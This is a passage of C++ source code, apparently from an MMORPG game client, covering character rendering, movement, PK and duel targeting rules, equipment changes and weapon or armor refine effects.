if (m_GraphicThingInstance.IsMovement())
{
TPixelPosition kPPosCur;
NEW_GetPixelPosition(&kPPosCur);
DWORD dwCurTime=ELTimer_GetFrameMSec();
//if (m_dwNextUpdateHeightTime<dwCurTime)
{
m_dwNextUpdateHeightTime=dwCurTime;
kPPosCur.z = __GetBackgroundHeight(kPPosCur.x, kPPosCur.y);
NEW_SetPixelPosition(kPPosCur);
}
// SetMaterialColor
{
DWORD dwMtrlColor=__GetShadowMapColor(kPPosCur.x, kPPosCur.y);
m_GraphicThingInstance.SetMaterialColor(dwMtrlColor);
}
}
m_GraphicThingInstance.UpdateAdvancingPointInstance();
AttackProcess();
MovementProcess();
m_GraphicThingInstance.MotionProcess(IsPC());
if (IsMountingHorse())
{
m_kHorse.m_pkActor->HORSE_MotionProcess(FALSE);
}
__ComboProcess();
ProcessDamage();
}
void CInstanceBase::Transform()
{
if (__IsSyncing())
{
//OnSyncing();
}
else
{
if (IsWalking() || m_GraphicThingInstance.IsUsingMovingSkill())
{
const D3DXVECTOR3& c_rv3Movment=m_GraphicThingInstance.GetMovementVectorRef();
float len=(c_rv3Movment.x*c_rv3Movment.x)+(c_rv3Movment.y*c_rv3Movment.y);
if (len>1.0f)
OnMoving();
else
OnWaiting();
}
}
m_GraphicThingInstance.INSTANCEBASE_Transform();
}
void CInstanceBase::Deform()
{
if (!__CanRender())
return;
++ms_dwDeformCounter;
m_GraphicThingInstance.INSTANCEBASE_Deform();
m_kHorse.Deform();
}
void CInstanceBase::RenderTrace()
{
if (!__CanRender())
return;
m_GraphicThingInstance.RenderTrace();
}
void CInstanceBase::Render()
{
if (!__CanRender())
return;
++ms_dwRenderCounter;
m_kHorse.Render();
m_GraphicThingInstance.Render();
if (CActorInstance::IsDirLine())
{
if (NEW_GetDstPixelPositionRef().x != 0.0f)
{
static CScreen s_kScreen;
STATEMANAGER.SetTextureStageState(0, D3DTSS_COLORARG1, D3DTA_DIFFUSE);
STATEMANAGER.SetTextureStageState(0, D3DTSS_COLOROP, D3DTOP_SELECTARG1);
STATEMANAGER.SetTextureStageState(0, D3DTSS_ALPHAOP, D3DTOP_DISABLE);
STATEMANAGER.SaveRenderState(D3DRS_ZENABLE, FALSE);
STATEMANAGER.SetRenderState(D3DRS_FOGENABLE, FALSE);
STATEMANAGER.SetRenderState(D3DRS_LIGHTING, FALSE);
TPixelPosition px;
m_GraphicThingInstance.GetPixelPosition(&px);
D3DXVECTOR3 kD3DVt3Cur(px.x, px.y, px.z);
//D3DXVECTOR3 kD3DVt3Cur(NEW_GetSrcPixelPositionRef().x, -NEW_GetSrcPixelPositionRef().y, NEW_GetSrcPixelPositionRef().z);
D3DXVECTOR3 kD3DVt3Dest(NEW_GetDstPixelPositionRef().x, -NEW_GetDstPixelPositionRef().y, NEW_GetDstPixelPositionRef().z);
//printf("%s %f\n", GetNameString(), kD3DVt3Cur.y - kD3DVt3Dest.y);
//float fdx = NEW_GetDstPixelPositionRef().x - NEW_GetSrcPixelPositionRef().x;
//float fdy = NEW_GetDstPixelPositionRef().y - NEW_GetSrcPixelPositionRef().y;
s_kScreen.SetDiffuseColor(0.0f, 0.0f, 1.0f);
s_kScreen.RenderLine3d(kD3DVt3Cur.x, kD3DVt3Cur.y, px.z, kD3DVt3Dest.x, kD3DVt3Dest.y, px.z);
STATEMANAGER.RestoreRenderState(D3DRS_ZENABLE);
STATEMANAGER.SetRenderState(D3DRS_FOGENABLE, TRUE);
STATEMANAGER.SetRenderState(D3DRS_LIGHTING, TRUE);
}
}
}
void CInstanceBase::RenderToShadowMap()
{
if (IsDoor())
return;
if (IsBuilding())
return;
if (!__CanRender())
return;
if (!__IsExistMainInstance())
return;
CInstanceBase* pkInstMain=__GetMainInstancePtr();
const float SHADOW_APPLY_DISTANCE = 2500.0f;
float fDistance=NEW_GetDistanceFromDestInstance(*pkInstMain);
if (fDistance>=SHADOW_APPLY_DISTANCE)
return;
m_GraphicThingInstance.RenderToShadowMap();
}
void CInstanceBase::RenderCollision()
{
m_GraphicThingInstance.RenderCollisionData();
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Setting & Getting Data
void CInstanceBase::SetVirtualID(DWORD dwVirtualID)
{
m_GraphicThingInstance.SetVirtualID(dwVirtualID);
}
void CInstanceBase::SetVirtualNumber(DWORD dwVirtualNumber)
{
m_dwVirtualNumber = dwVirtualNumber;
}
void CInstanceBase::SetInstanceType(int iInstanceType)
{
m_GraphicThingInstance.SetActorType(iInstanceType);
}
void CInstanceBase::SetAlignment(short sAlignment)
{
m_sAlignment = sAlignment;
RefreshTextTailTitle();
}
void CInstanceBase::SetPKMode(BYTE byPKMode)
{
if (m_byPKMode == byPKMode)
return;
m_byPKMode = byPKMode;
if (__IsMainInstance())
{
IAbstractPlayer& rPlayer=IAbstractPlayer::GetSingleton();
rPlayer.NotifyChangePKMode();
}
}
void CInstanceBase::SetKiller(bool bFlag)
{
if (m_isKiller == bFlag)
return;
m_isKiller = bFlag;
RefreshTextTail();
}
void CInstanceBase::SetPartyMemberFlag(bool bFlag)
{
m_isPartyMember = bFlag;
}
void CInstanceBase::SetStateFlags(DWORD dwStateFlags)
{
if (dwStateFlags & ADD_CHARACTER_STATE_KILLER)
SetKiller(TRUE);
else
SetKiller(FALSE);
if (dwStateFlags & ADD_CHARACTER_STATE_PARTY)
SetPartyMemberFlag(TRUE);
else
SetPartyMemberFlag(FALSE);
}
void CInstanceBase::SetComboType(UINT uComboType)
{
m_GraphicThingInstance.SetComboType(uComboType);
}
const char * CInstanceBase::GetNameString()
{
return m_stName.c_str();
}
#ifdef ENABLE_LEVEL_IN_TRADE
DWORD CInstanceBase::GetLevel()
{
return m_dwLevel;
}
#endif
#ifdef ENABLE_TEXT_LEVEL_REFRESH
void CInstanceBase::SetLevel(DWORD dwLevel)
{
m_dwLevel = dwLevel;
}
#endif
#if defined(WJ_SHOW_MOB_INFO) && defined(ENABLE_SHOW_MOBAIFLAG)
void CInstanceBase::MobInfoAiFlagRefresh()
{
// set
std::string strName = CPythonNonPlayer::Instance().GetMonsterName(GetRace());
if (CPythonSystem::Instance().IsShowMobAIFlag() && CPythonNonPlayer::Instance().IsAggressive(GetRace()))
strName += "*";
SetNameString(strName.c_str(), strName.length());
// refresh
DetachTextTail();
AttachTextTail();
RefreshTextTail();
}
#endif
#if defined(WJ_SHOW_MOB_INFO) && defined(ENABLE_SHOW_MOBLEVEL)
void CInstanceBase::MobInfoLevelRefresh()
{
// set
if (CPythonSystem::Instance().IsShowMobLevel())
m_dwLevel = CPythonNonPlayer::Instance().GetMonsterLevel(GetRace());
else
m_dwLevel = 0;
// refresh
if (m_dwLevel)
UpdateTextTailLevel(m_dwLevel);
else
CPythonTextTail::Instance().DetachLevel(GetVirtualID());
}
#endif
DWORD CInstanceBase::GetRace()
{
return m_dwRace;
}
bool CInstanceBase::IsConflictAlignmentInstance(CInstanceBase& rkInstVictim)
{
if (PK_MODE_PROTECT == rkInstVictim.GetPKMode())
return false;
switch (GetAlignmentType())
{
case ALIGNMENT_TYPE_NORMAL:
case ALIGNMENT_TYPE_WHITE:
if (ALIGNMENT_TYPE_DARK == rkInstVictim.GetAlignmentType())
return true;
break;
case ALIGNMENT_TYPE_DARK:
if (GetAlignmentType() != rkInstVictim.GetAlignmentType())
return true;
break;
}
return false;
}
void CInstanceBase::SetDuelMode(DWORD type)
{
m_dwDuelMode = type;
}
DWORD CInstanceBase::GetDuelMode()
{
return m_dwDuelMode;
}
bool CInstanceBase::IsAttackableInstance(CInstanceBase& rkInstVictim)
{
if (__IsMainInstance())
{
CPythonPlayer& rkPlayer=CPythonPlayer::Instance();
if(rkPlayer.IsObserverMode())
return false;
}
if (GetVirtualID() == rkInstVictim.GetVirtualID())
return false;
if (IsStone())
{
if (rkInstVictim.IsPC())
return true;
}
else if (IsPC())
{
if (rkInstVictim.IsStone())
return true;
if (rkInstVictim.IsPC())
{
if (GetDuelMode())
{
switch(GetDuelMode())
{
case DUEL_CANNOTATTACK:
return false;
case DUEL_START:
if(__FindDUELKey(GetVirtualID(),rkInstVictim.GetVirtualID()))
return true;
else
return false;
}
}
if (PK_MODE_GUILD == GetPKMode())
if (GetGuildID() == rkInstVictim.GetGuildID())
return false;
if (rkInstVictim.IsKiller())
if (!IAbstractPlayer::GetSingleton().IsSamePartyMember(GetVirtualID(), rkInstVictim.GetVirtualID()))
return true;
if (PK_MODE_PROTECT != GetPKMode())
{
if (PK_MODE_FREE == GetPKMode())
{
if (PK_MODE_PROTECT != rkInstVictim.GetPKMode())
if (!IAbstractPlayer::GetSingleton().IsSamePartyMember(GetVirtualID(), rkInstVictim.GetVirtualID()))
return true;
}
if (PK_MODE_GUILD == GetPKMode())
{
if (PK_MODE_PROTECT != rkInstVictim.GetPKMode())
if (!IAbstractPlayer::GetSingleton().IsSamePartyMember(GetVirtualID(), rkInstVictim.GetVirtualID()))
if (GetGuildID() != rkInstVictim.GetGuildID())
return true;
}
}
if (IsSameEmpire(rkInstVictim))
{
if (IsPVPInstance(rkInstVictim))
return true;
if (PK_MODE_REVENGE == GetPKMode())
if (!IAbstractPlayer::GetSingleton().IsSamePartyMember(GetVirtualID(), rkInstVictim.GetVirtualID()))
if (IsConflictAlignmentInstance(rkInstVictim))
return true;
}
else
{
return true;
}
}
if (rkInstVictim.IsEnemy())
return true;
if (rkInstVictim.IsWoodenDoor())
return true;
}
else if (IsEnemy())
{
if (rkInstVictim.IsPC())
return true;
if (rkInstVictim.IsBuilding())
return true;
}
else if (IsPoly())
{
if (rkInstVictim.IsPC())
return true;
if (rkInstVictim.IsEnemy())
return true;
}
return false;
}
bool CInstanceBase::IsTargetableInstance(CInstanceBase& rkInstVictim)
{
return rkInstVictim.CanPickInstance();
}
bool CInstanceBase::CanChangeTarget()
{
return m_GraphicThingInstance.CanChangeTarget();
}
bool CInstanceBase::CanPickInstance()
{
if (!__IsInViewFrustum())
return false;
if (IsDoor())
{
if (IsDead())
return false;
}
if (IsPC())
{
if (IsAffect(AFFECT_EUNHYEONG))
{
if (!__MainCanSeeHiddenThing())
return false;
}
#ifdef ENABLE_CANSEEHIDDENTHING_FOR_GM
if (IsAffect(AFFECT_REVIVE_INVISIBILITY) && !__MainCanSeeHiddenThing())
return false;
#else
if (IsAffect(AFFECT_REVIVE_INVISIBILITY))
return false;
#endif
#ifdef ENABLE_CANSEEHIDDENTHING_FOR_GM
if (IsAffect(AFFECT_INVISIBILITY) && !__MainCanSeeHiddenThing())
return false;
#else
if (IsAffect(AFFECT_INVISIBILITY))
return false;
#endif
}
if (IsDead())
return false;
return true;
}
bool CInstanceBase::CanViewTargetHP(CInstanceBase& rkInstVictim)
{
if (rkInstVictim.IsStone())
return true;
if (rkInstVictim.IsWoodenDoor())
return true;
if (rkInstVictim.IsEnemy())
return true;
return false;
}
BOOL CInstanceBase::IsPoly()
{
return m_GraphicThingInstance.IsPoly();
}
BOOL CInstanceBase::IsPC()
{
return m_GraphicThingInstance.IsPC();
}
BOOL CInstanceBase::IsNPC()
{
return m_GraphicThingInstance.IsNPC();
}
BOOL CInstanceBase::IsEnemy()
{
return m_GraphicThingInstance.IsEnemy();
}
BOOL CInstanceBase::IsStone()
{
return m_GraphicThingInstance.IsStone();
}
BOOL CInstanceBase::IsGuildWall()
{
return IsWall(m_dwRace);
}
BOOL CInstanceBase::IsResource()
{
switch (m_dwVirtualNumber)
{
case 20047:
case 20048:
case 20049:
case 20050:
case 20051:
case 20052:
case 20053:
case 20054:
case 20055:
case 20056:
case 20057:
case 20058:
case 20059:
case 30301:
case 30302:
case 30303:
case 30304:
case 30305:
case 30306:
return TRUE;
}
return FALSE;
}
BOOL CInstanceBase::IsWarp()
{
return m_GraphicThingInstance.IsWarp();
}
BOOL CInstanceBase::IsGoto()
{
return m_GraphicThingInstance.IsGoto();
}
BOOL CInstanceBase::IsObject()
{
return m_GraphicThingInstance.IsObject();
}
BOOL CInstanceBase::IsBuilding()
{
return m_GraphicThingInstance.IsBuilding();
}
BOOL CInstanceBase::IsDoor()
{
return m_GraphicThingInstance.IsDoor();
}
BOOL CInstanceBase::IsWoodenDoor()
{
if (m_GraphicThingInstance.IsDoor())
{
int vnum = GetVirtualNumber();
if (vnum == 13000)
return true;
else if (vnum >= 30111 && vnum <= 30119)
return true;
else
return false;
}
else
{
return false;
}
}
BOOL CInstanceBase::IsStoneDoor()
{
return m_GraphicThingInstance.IsDoor() && 13001 == GetVirtualNumber();
}
BOOL CInstanceBase::IsFlag()
{
if (GetRace() == 20035)
return TRUE;
if (GetRace() == 20036)
return TRUE;
if (GetRace() == 20037)
return TRUE;
return FALSE;
}
BOOL CInstanceBase::IsForceVisible()
{
if (IsAffect(AFFECT_SHOW_ALWAYS))
return TRUE;
if (IsObject() || IsBuilding() || IsDoor() )
return TRUE;
return FALSE;
}
int CInstanceBase::GetInstanceType()
{
return m_GraphicThingInstance.GetActorType();
}
DWORD CInstanceBase::GetVirtualID()
{
return m_GraphicThingInstance.GetVirtualID();
}
DWORD CInstanceBase::GetVirtualNumber()
{
return m_dwVirtualNumber;
}
bool CInstanceBase::__IsInViewFrustum()
{
return m_GraphicThingInstance.isShow();
}
bool CInstanceBase::__CanRender()
{
if (!__IsInViewFrustum())
return false;
#ifdef ENABLE_CANSEEHIDDENTHING_FOR_GM
if (IsAffect(AFFECT_INVISIBILITY) && !__MainCanSeeHiddenThing())
return false;
#else
if (IsAffect(AFFECT_INVISIBILITY))
return false;
#endif
return true;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Graphic Control
bool CInstanceBase::IntersectBoundingBox()
{
float u, v, t;
return m_GraphicThingInstance.Intersect(&u, &v, &t);
}
bool CInstanceBase::IntersectDefendingSphere()
{
return m_GraphicThingInstance.IntersectDefendingSphere();
}
float CInstanceBase::GetDistance(CInstanceBase * pkTargetInst)
{
TPixelPosition TargetPixelPosition;
pkTargetInst->m_GraphicThingInstance.GetPixelPosition(&TargetPixelPosition);
return GetDistance(TargetPixelPosition);
}
float CInstanceBase::GetDistance(const TPixelPosition & c_rPixelPosition)
{
TPixelPosition PixelPosition;
m_GraphicThingInstance.GetPixelPosition(&PixelPosition);
float fdx = PixelPosition.x - c_rPixelPosition.x;
float fdy = PixelPosition.y - c_rPixelPosition.y;
return sqrtf((fdx*fdx) + (fdy*fdy));
}
CActorInstance& CInstanceBase::GetGraphicThingInstanceRef()
{
return m_GraphicThingInstance;
}
CActorInstance* CInstanceBase::GetGraphicThingInstancePtr()
{
return &m_GraphicThingInstance;
}
void CInstanceBase::RefreshActorInstance()
{
m_GraphicThingInstance.RefreshActorInstance();
}
void CInstanceBase::Refresh(DWORD dwMotIndex, bool isLoop)
{
RefreshState(dwMotIndex, isLoop);
}
void CInstanceBase::RestoreRenderMode()
{
m_GraphicThingInstance.RestoreRenderMode();
}
void CInstanceBase::SetAddRenderMode()
{
m_GraphicThingInstance.SetAddRenderMode();
}
void CInstanceBase::SetModulateRenderMode()
{
m_GraphicThingInstance.SetModulateRenderMode();
}
void CInstanceBase::SetRenderMode(int iRenderMode)
{
m_GraphicThingInstance.SetRenderMode(iRenderMode);
}
void CInstanceBase::SetAddColor(const D3DXCOLOR & c_rColor)
{
m_GraphicThingInstance.SetAddColor(c_rColor);
}
void CInstanceBase::__SetBlendRenderingMode()
{
m_GraphicThingInstance.SetBlendRenderMode();
}
void CInstanceBase::__SetAlphaValue(float fAlpha)
{
m_GraphicThingInstance.SetAlphaValue(fAlpha);
}
float CInstanceBase::__GetAlphaValue()
{
return m_GraphicThingInstance.GetAlphaValue();
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Part
void CInstanceBase::SetHair(DWORD eHair)
{
if (!HAIR_COLOR_ENABLE)
return;
if (IsPC()==false)
return;
m_awPart[CRaceData::PART_HAIR] = eHair;
m_GraphicThingInstance.SetHair(eHair);
}
void CInstanceBase::ChangeHair(DWORD eHair)
{
if (!HAIR_COLOR_ENABLE)
return;
if (IsPC()==false)
return;
if (GetPart(CRaceData::PART_HAIR)==eHair)
return;
SetHair(eHair);
//int type = m_GraphicThingInstance.GetMotionMode();
RefreshState(CRaceMotionData::NAME_WAIT, true);
//RefreshState(type, true);
}
void CInstanceBase::SetArmor(DWORD dwArmor)
{
DWORD dwShape;
if (__ArmorVnumToShape(dwArmor, &dwShape))
{
CItemData * pItemData;
if (CItemManager::Instance().GetItemDataPointer(dwArmor, &pItemData))
{
float fSpecularPower=pItemData->GetSpecularPowerf();
SetShape(dwShape, fSpecularPower);
__GetRefinedEffect(pItemData);
return;
}
else
__ClearArmorRefineEffect();
}
SetShape(dwArmor);
}
#ifdef ENABLE_ACCE_SYSTEM
static double GetMountAccePosPlushZ(int mount_vnum, int race)
{
if (mount_vnum >= 20246 && mount_vnum <= 20249)
{
switch (race)
{
case CRaceData::RACE_WARRIOR_M:
case CRaceData::RACE_SURA_M:
case CRaceData::RACE_SHAMAN_M:
case CRaceData::RACE_WARRIOR_W:
return 25.0;
#ifdef ENABLE_WOLFMAN_CHARACTER
case CRaceData::RACE_WOLFMAN_M:
return 0.0;
#endif
default:
return 35.0;
}
}
else if (mount_vnum >= 20250 && mount_vnum <= 20251)
{
switch (race)
{
case CRaceData::RACE_WARRIOR_M:
case CRaceData::RACE_SURA_M:
return 5;
#ifdef ENABLE_WOLFMAN_CHARACTER
case CRaceData::RACE_WOLFMAN_M:
return 0.0;
#endif
case CRaceData::RACE_SHAMAN_M:
case CRaceData::RACE_WARRIOR_W:
return 10.0;
default:
return 15.0;
}
}
return 0;
}
void CInstanceBase::SetAcce(DWORD dwAcce)
{
if (!IsPC())
return;
if (IsPoly())
return;
dwAcce += 85000;
ClearAcceEffect();
float fSpecular = 65.0f;
if ((dwAcce >= 85500 && dwAcce <= 85999) || (dwAcce >= 86500 && dwAcce <= 86999))
{
dwAcce -= 500;
fSpecular += 35;
m_dwAcceEffect = EFFECT_REFINED + EFFECT_ACCE;
__EffectContainer_AttachEffect(m_dwAcceEffect);
}
fSpecular /= 100.0f;
m_awPart[CRaceData::PART_ACCE] = dwAcce;
CItemData * pItemData = NULL;
CItemManager::Instance().GetItemDataPointer(dwAcce, &pItemData);
m_GraphicThingInstance.AttachAcce(pItemData, fSpecular);
#ifdef ENABLE_OBJ_SCALLING
DWORD dwRace = GetRace(), dwPos = RaceToJob(dwRace), dwSex = RaceToSex(dwRace);
dwPos += 1;
if (dwSex == 0)
dwPos += 5;
float fScaleX, fScaleY, fScaleZ, fPositionX, fPositionY, fPositionZ;
if (pItemData && pItemData->GetItemScale(dwPos, fScaleX, fScaleY, fScaleZ, fPositionX, fPositionY, fPositionZ))
{
m_GraphicThingInstance.SetScale(fScaleX, fScaleY, fScaleZ, true);
if (m_kHorse.IsMounting())
{
fPositionZ += 10.0f;
auto pHorse = m_kHorse.GetActorPtr();
if (pHorse && pHorse->GetRace())
fPositionZ += GetMountAccePosPlushZ(pHorse->GetRace(), dwRace);
}
m_GraphicThingInstance.SetScalePosition(fPositionX, fPositionY, fPositionZ);
}
#endif
}
void CInstanceBase::ChangeAcce(DWORD dwAcce)
{
if (!IsPC())
return;
SetAcce(dwAcce);
}
void CInstanceBase::ClearAcceEffect()
{
if (!m_dwAcceEffect)
return;
__EffectContainer_DetachEffect(m_dwAcceEffect);
m_dwAcceEffect = 0;
}
#endif
void CInstanceBase::SetShape(DWORD eShape, float fSpecular)
{
if (IsPoly())
{
m_GraphicThingInstance.SetShape(0);
}
else
{
m_GraphicThingInstance.SetShape(eShape, fSpecular);
}
m_eShape = eShape;
}
DWORD CInstanceBase::GetWeaponType()
{
DWORD dwWeapon = GetPart(CRaceData::PART_WEAPON);
CItemData * pItemData;
if (!CItemManager::Instance().GetItemDataPointer(dwWeapon, &pItemData))
return CItemData::WEAPON_NONE;
return pItemData->GetWeaponType();
}
/*
void CInstanceBase::SetParts(const WORD * c_pParts)
{
if (IsPoly())
return;
if (__IsShapeAnimalWear())
return;
UINT eWeapon=c_pParts[CRaceData::PART_WEAPON];
if (__IsChangableWeapon(eWeapon) == false)
eWeapon = 0;
if (eWeapon != m_GraphicThingInstance.GetPartItemID(CRaceData::PART_WEAPON))
{
m_GraphicThingInstance.AttachPart(CRaceData::PART_MAIN, CRaceData::PART_WEAPON, eWeapon);
m_awPart[CRaceData::PART_WEAPON] = eWeapon;
}
__AttachHorseSaddle();
}
*/
void CInstanceBase::__ClearWeaponRefineEffect()
{
if (m_swordRefineEffectRight)
{
__DetachEffect(m_swordRefineEffectRight);
m_swordRefineEffectRight = 0;
}
if (m_swordRefineEffectLeft)
{
__DetachEffect(m_swordRefineEffectLeft);
m_swordRefineEffectLeft = 0;
}
}
void CInstanceBase::__ClearArmorRefineEffect()
{
if (m_armorRefineEffect)
{
__DetachEffect(m_armorRefineEffect);
m_armorRefineEffect = 0;
}
}
// #define ENABLE_SIMPLE_REFINED_EFFECT_CHECK
// #define USE_WEAPON_COSTUME_WITH_EFFECT
// #define USE_BODY_COSTUME_WITH_EFFECT
UINT CInstanceBase::__GetRefinedEffect(CItemData* pItem)
{
#ifdef ENABLE_SIMPLE_REFINED_EFFECT_CHECK
DWORD refine = pItem->GetRefine();
#else
DWORD refine = max(pItem->GetRefine() + pItem->GetSocketCount(),CItemData::ITEM_SOCKET_MAX_NUM) - CItemData::ITEM_SOCKET_MAX_NUM;
#endif
switch (pItem->GetType())
{
case CItemData::ITEM_TYPE_WEAPON:
__ClearWeaponRefineEffect();
if (refine < 7)
return 0;
switch(pItem->GetSubType())
{
case CItemData::WEAPON_DAGGER:
m_swordRefineEffectRight = EFFECT_REFINED+EFFECT_SMALLSWORD_REFINED7+refine-7;
m_swordRefineEffectLeft = EFFECT_REFINED+EFFECT_SMALLSWORD_REFINED7_LEFT+refine-7;
break;
case CItemData::WEAPON_FAN:
m_swordRefineEffectRight = EFFECT_REFINED+EFFECT_FANBELL_REFINED7+refine-7;
break;
case CItemData::WEAPON_ARROW:
case CItemData::WEAPON_BELL:
m_swordRefineEffectRight = EFFECT_REFINED+EFFECT_SMALLSWORD_REFINED7+refine-7;
break;
case CItemData::WEAPON_BOW:
m_swordRefineEffectRight = EFFECT_REFINED+EFFECT_BOW_REFINED7+refine-7;
break;
#ifdef ENABLE_WOLFMAN_CHARACTER
case CItemData::WEAPON_CLAW:
m_swordRefineEffectRight = EFFECT_REFINED + EFFECT_SMALLSWORD_REFINED7 + refine - 7;
m_swordRefineEffectLeft = EFFECT_REFINED + EFFECT_SMALLSWORD_REFINED7_LEFT + refine - 7;
break;
#endif
default:
m_swordRefineEffectRight = EFFECT_REFINED+EFFECT_SWORD_REFINED7+refine-7;
}
if (m_swordRefineEffectRight)
m_swordRefineEffectRight = __AttachEffect(m_swordRefineEffectRight);
if (m_swordRefineEffectLeft)
m_swordRefineEffectLeft = __AttachEffect(m_swordRefineEffectLeft);
break;
case CItemData::ITEM_TYPE_ARMOR:
__ClearArmorRefineEffect();
if (pItem->GetSubType() == CItemData::ARMOR_BODY)
{
DWORD vnum = pItem->GetIndex();
if (
(12010 <= vnum && vnum <= 12049)
#ifdef ENABLE_WOLFMAN_CHARACTER
|| (21080 <= vnum && vnum <= 21089)
#endif
)
{
__AttachEffect(EFFECT_REFINED+EFFECT_BODYARMOR_SPECIAL);
__AttachEffect(EFFECT_REFINED+EFFECT_BODYARMOR_SPECIAL2);
}
#ifdef ENABLE_LVL115_ARMOR_EFFECT
else if (20760 <= vnum && vnum <= 20959)
{
__AttachEffect(EFFECT_REFINED+EFFECT_BODYARMOR_SPECIAL3);
}
#endif //ENABLE_LVL115_ARMOR_EFFECT
}
if (refine < 7)
return 0;
if (pItem->GetSubType() == CItemData::ARMOR_BODY)
{
m_armorRefineEffect = EFFECT_REFINED+EFFECT_BODYARMOR_REFINED7+refine-7;
__AttachEffect(m_armorRefineEffect);
}
break;
case CItemData::ITEM_TYPE_COSTUME:
#ifdef ENABLE_WEAPON_COSTUME_SYSTEM
if (pItem->GetSubType() == CItemData::COSTUME_WEAPON)
{
__ClearWeaponRefineEffect();
#ifdef USE_WEAPON_COSTUME_WITH_EFFECT
switch(pItem->GetValue(3))
{
case CItemData::WEAPON_DAGGER:
m_swordRefineEffectRight = EFFECT_REFINED+EFFECT_SMALLSWORD_REFINED9;
m_swordRefineEffectLeft = EFFECT_REFINED+EFFECT_SMALLSWORD_REFINED9_LEFT;
break;
case CItemData::WEAPON_FAN:
m_swordRefineEffectRight = EFFECT_REFINED+EFFECT_FANBELL_REFINED9;
break;
case CItemData::WEAPON_ARROW:
case CItemData::WEAPON_BELL:
m_swordRefineEffectRight = EFFECT_REFINED+EFFECT_SMALLSWORD_REFINED9;
break;
case CItemData::WEAPON_BOW:
m_swordRefineEffectRight = EFFECT_REFINED+EFFECT_BOW_REFINED9;
break;
#ifdef ENABLE_WOLFMAN_CHARACTER
case CItemData::WEAPON_CLAW:
m_swordRefineEffectRight = EFFECT_REFINED + EFFECT_SMALLSWORD_REFINED9;
m_swordRefineEffectLeft = EFFECT_REFINED + EFFECT_SMALLSWORD_REFINED9_LEFT;
break;
#endif
default:
m_swordRefineEffectRight = EFFECT_REFINED+EFFECT_SWORD_REFINED9;
}
if (m_swordRefineEffectRight)
m_swordRefineEffectRight = __AttachEffect(m_swordRefineEffectRight);
if (m_swordRefineEffectLeft)
m_swordRefineEffectLeft = __AttachEffect(m_swordRefineEffectLeft);
#endif //USE_WEAPON_COSTUME_WITH_EFFECT
break;
}
#endif
#ifdef USE_BODY_COSTUME_WITH_EFFECT
if (pItem->GetSubType() == CItemData::COSTUME_BODY)
{
__ClearArmorRefineEffect();
// lvl80 armor's effect (blue smoke+bubbles)
// {
// __AttachEffect(EFFECT_REFINED+EFFECT_BODYARMOR_SPECIAL);
// __AttachEffect(EFFECT_REFINED+EFFECT_BODYARMOR_SPECIAL2);
// }
// lvl105 armor's effect (sparkles)
// {
// __AttachEffect(EFFECT_REFINED+EFFECT_BODYARMOR_SPECIAL3);
// }
m_armorRefineEffect = EFFECT_REFINED+EFFECT_BODYARMOR_REFINED9;
__AttachEffect(m_armorRefineEffect);
break;
}
#endif //USE_BODY_COSTUME_WITH_EFFECT
break;
}
return 0;
}
bool CInstanceBase::SetWeapon(DWORD eWeapon)
{
if (IsPoly())
return false;
if (__IsShapeAnimalWear())
return false;
if (__IsChangableWeapon(eWeapon) == false)
eWeapon = 0;
m_GraphicThingInstance.AttachWeapon(eWeapon);
m_awPart[CRaceData::PART_WEAPON] = eWeapon;
//Weapon Effect
CItemData * pItemData;
if (CItemManager::Instance().GetItemDataPointer(eWeapon, &pItemData))
__GetRefinedEffect(pItemData);
else
__ClearWeaponRefineEffect();
return true;
}
void CInstanceBase::ChangeWeapon(DWORD eWeapon)
{
if (eWeapon == m_GraphicThingInstance.GetPartItemID(CRaceData::PART_WEAPON))
return;
if (SetWeapon(eWeapon))
RefreshState(CRaceMotionData::NAME_WAIT, true);
}
bool CInstanceBase::ChangeArmor(DWORD dwArmor)
{
DWORD eShape;
__ArmorVnumToShape(dwArmor, &eShape);
if (GetShape()==eShape)
return false;
CAffectFlagContainer kAffectFlagContainer;
kAffectFlagContainer.CopyInstance(m_kAffectFlagContainer);
DWORD dwVID = GetVirtualID();
DWORD dwRace = GetRace();
DWORD eHair = GetPart(CRaceData::PART_HAIR);
#ifdef ENABLE_ACCE_SYSTEM
DWORD dwAcce = GetPart(CRaceData::PART_ACCE);
#endif
DWORD eWeapon = GetPart(CRaceData::PART_WEAPON);
#ifdef ENABLE_AURA_SYSTEM
DWORD eAura = GetPart(CRaceData::PART_AURA);
#endif
float fRot = GetRotation();
float fAdvRot = GetAdvancingRotation();
if (IsWalking())
EndWalking();
//////////////////////////////////////////////////////
__ClearAffects();
//////////////////////////////////////////////////////
if (!SetRace(dwRace))
{
TraceError("CPythonCharacterManager::ChangeArmor - SetRace VID[%d] Race[%d] ERROR", dwVID, dwRace);
return false;
}
SetArmor(dwArmor);
SetHair(eHair);
SetWeapon(eWeapon);
#ifdef ENABLE_ACCE_SYSTEM
SetAcce(dwAcce);
#endif
#ifdef ENABLE_AURA_SYSTEM
SetAura(eAura);
#endif
SetRotation(fRot);
SetAdvancingRotation(fAdvRot);
__AttachHorseSaddle();
RefreshState(CRaceMotionData::NAME_WAIT, TRUE);
/////////////////////////////////////////////////
SetAffectFlagContainer(kAffectFlagContainer);
/////////////////////////////////////////////////
CActorInstance::IEventHandler& rkEventHandler=GetEventHandlerRef();
rkEventHandler.OnChangeShape();
return true;
}
bool CInstanceBase::__IsShapeAnimalWear()
{
if (100 == GetShape() ||
101 == GetShape() ||
102 == GetShape() ||
103 == GetShape())
return true;
return false;
}
DWORD CInstanceBase::__GetRaceType()
{
return m_eRaceType;
}
void CInstanceBase::RefreshState(DWORD dwMotIndex, bool isLoop)
{
DWORD dwPartItemID = m_GraphicThingInstance.GetPartItemID(CRaceData::PART_WEAPON);
BYTE byItemType = 0xff;
BYTE bySubType = 0xff;
CItemManager & rkItemMgr = CItemManager::Instance();
CItemData * pItemData;
if (rkItemMgr.GetItemDataPointer(dwPartItemID, &pItemData))
{
byItemType = pItemData->GetType();
bySubType = pItemData->GetWeaponType();
}
if (IsPoly())
{
SetMotionMode(CRaceMotionData::MODE_GENERAL);
}
else if (IsWearingDress())
{
SetMotionMode(CRaceMotionData::MODE_WEDDING_DRESS);
}
else if (IsHoldingPickAxe())
{
if (m_kHorse.IsMounting())
{
SetMotionMode(CRaceMotionData::MODE_HORSE);
}
else
{
SetMotionMode(CRaceMotionData::MODE_GENERAL);
}
}
else if (CItemData::ITEM_TYPE_ROD == byItemType)
{
if (m_kHorse.IsMounting())
{
SetMotionMode(CRaceMotionData::MODE_HORSE);
}
else
{
SetMotionMode(CRaceMotionData::MODE_FISHING);
}
}
